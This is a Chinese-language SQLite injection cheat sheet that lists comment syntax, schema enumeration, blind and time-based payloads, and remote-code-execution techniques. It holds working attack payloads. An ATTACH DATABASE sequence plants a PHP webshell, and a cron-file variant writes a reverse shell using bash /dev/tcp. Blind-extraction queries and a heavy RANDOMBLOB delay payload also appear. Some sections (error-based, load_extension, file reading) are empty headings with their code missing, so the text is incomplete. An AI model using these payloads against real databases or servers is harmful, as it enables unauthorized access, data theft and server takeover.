SQLite 注入 (SQLite Injection)
SQLite 注入是一种安全漏洞,当攻击者能够向 SQLite 数据库执行的 SQL 查询中插入或“注入”恶意 SQL 代码时,就会发生这种攻击。这种漏洞产生于用户输入在没有经过适当清洗或参数化处理的情况下被整合到 SQL 语句中,从而允许攻击者操纵查询逻辑。此类注入可能导致未经授权的数据访问、数据操纵以及其他严重的安全性问题。
摘要 (Summary)
- SQLite 注释 (#sqlite-comments)
- SQLite 枚举 (#sqlite-enumeration)
- SQLite 字符串注入 (#sqlite-string)
- SQLite 盲注 (#sqlite-blind)
- SQLite 报错注入 (#sqlite-error-based)
- SQLite 时间盲注 (#sqlite-time-based)
- SQLite 远程代码执行 (RCE) (#sqlite-remote-code-execution)
- SQLite 文件操作 (#sqlite-file-manipulation)
- 参考资料 (#references)
SQLite 注释 (SQLite Comments)
| 注释描述 | 注释符号 |
|---|---|
| 单行注释 | -- |
| 多行注释 | /**/ |
SQLite 枚举 (SQLite Enumeration)
| 枚举描述 | SQL 查询 |
|---|---|
| DBMS 版本 | select sqlite_version(); |
SQLite 字符串注入 (SQLite String)
SQLite 字符串注入方法论 (SQLite String Methodology)
| 步骤描述 | SQL 查询 |
|---|---|
| 提取数据库结构 | SELECT sql FROM sqlite_schema |
| 提取数据库结构 (版本 > 3.33.0) | SELECT sql FROM sqlite_master |
| 提取表名 | SELECT tbl_name FROM sqlite_master WHERE type='table' |
| 提取表名 (排除系统表) | SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' |
| 提取列名 | SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='表名' |
| 提取列名 (使用 pragma) | SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('表名'); |
| 提取列名 (使用 MAX) | SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<表名>' |
| 提取列名 (使用 PRAGMA 视图) | SELECT name FROM PRAGMA_TABLE_INFO('<表名>') |
SQLite 盲注 (SQLite Blind)
SQLite 盲注方法论 (SQLite Blind Methodology)
| 步骤描述 | SQL 查询 |
|---|---|
| 统计表数量 | AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < 预期数量 |
| 枚举表名长度 | AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=长度数值 |
| 提取信息 (字符比较) | AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('某个字符') |
| 提取信息 (基于 order by) | CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('某个字符') THEN <排序列1> ELSE <排序列2> END |
SQLite 盲注下的 Substring 等价函数 (SQLite Blind With Substring Equivalent)
| 函数名 | 语法示例 |
|---|---|
SUBSTRING |
SUBSTRING('foobar', <起始位置>, <长度>) |
SUBSTR |
SUBSTR('foobar', <起始位置>, <长度>) |
SQLite 报错注入 (SQlite Error Based)
SQLite 时间盲注 (SQlite Time Based)
AND [随机数]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([睡眠时间]00000000/2))))
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
SQLite 远程代码执行 (SQLite Remote Code Execution)
附加数据库 (Attach Database)
此代码片段展示了攻击者如何滥用 SQLite 的 ATTACH DATABASE 功能在服务器上植入网页后门 (Webshell):
ATTACH DATABASE '/var/www/shell.php' AS shell;
CREATE TABLE shell.pwn (dataz text);
INSERT INTO shell.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--
首先,它告诉 SQLite 将一个 PHP 文件“视为”一个可写的 SQLite 数据库。然后,它在该文件内创建一个表(这实际上就是未来的 Webshell)。最后,它将恶意的 PHP 代码写入该文件。
注意: 使用 ATTACH DATABASE 创建文件有一个缺陷:SQLite 会在文件开头添加其幻数头部字节(5351 4c69 7465 2066 6f72 6d61 7420 3300,即 "SQLite format 3")。这些字节会损坏大多数服务端脚本,但 PHP 的容忍度异常之高:只要文件中出现了 <?php 标签,解析器就会忽略之前的任何乱码并执行嵌入的代码。
file shell.php
shell.php: SQLite 3.x database, last written using SQLite version 3051000, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2
如果无法上传 PHP Webshell,但服务以 root 权限运行,攻击者可以使用同样的技术创建一个触发反弹 shell 的 cron 任务:
ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;
CREATE TABLE cron.tab (dataz text);
INSERT INTO cron.tab (dataz) VALUES (char(10) || '* * * * * root bash -i >& /dev/tcp/127.0.0.1/4242 0>&1' || char(10));--
这会写入一个新的 cron 条目,每分钟运行一次并连接回攻击者。
加载扩展 (Load_extension)
在大多数环境中,SQLite 加载外部共享库(扩展)的功能默认是禁用的。如果启用,SQLite 可以使用
load_extension() SQL 函数加载编译后的模块:
在 sqlite3 命令行终端中,你可以使用以下命令查看运行时配置:
如果你看到 load_extension on(或 off),这表示该终端的运行时目前是否允许加载共享库扩展。
SQLite 扩展仅仅是一个原生的共享库,在 Linux 上通常是 .so 文件,在 Windows 上是 .dll 文件,它暴露了一个特殊的初始化函数。当扩展加载时,SQLite 会调用此函数来注册模块提供的任何新 SQL 函数、虚表或其他功能。
要在 Linux 上编译可加载扩展,你可以使用:
SQLite 文件操作 (SQLite File Manipulation)
SQLite 读取文件
SQLite 默认不直接支持文件 I/O 操作。